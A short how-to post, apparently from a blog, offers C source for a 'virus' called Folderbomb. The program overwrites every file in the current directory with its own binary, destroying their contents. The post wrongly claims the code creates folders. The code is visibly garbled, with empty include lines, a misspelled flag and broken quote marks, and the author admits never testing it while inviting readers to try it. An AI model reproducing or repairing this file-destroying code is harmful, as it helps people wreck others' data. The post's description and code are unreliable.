How to Create Virus Code In C Language

It will create folder in a folder. Use below codes.
Run this on your own responsibility.

#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(‖————————————————————————–‖);
printf(‖\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n‖); 
cprintf(‖————————————————————————–‖);
done = findfirst(‖*.*‖,&ffblk,0);
while (!done) 
{ printf(‖\n‖);cprintf(‖ %s ―, ffblk.ff_name);printf(‖is attacked by ―);cprintf(‖Folderbomb‖); 
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

“Well I did not try this virus by my self, so try this and give me your feedback. But still I do not recommend to use this virus for bad purpose”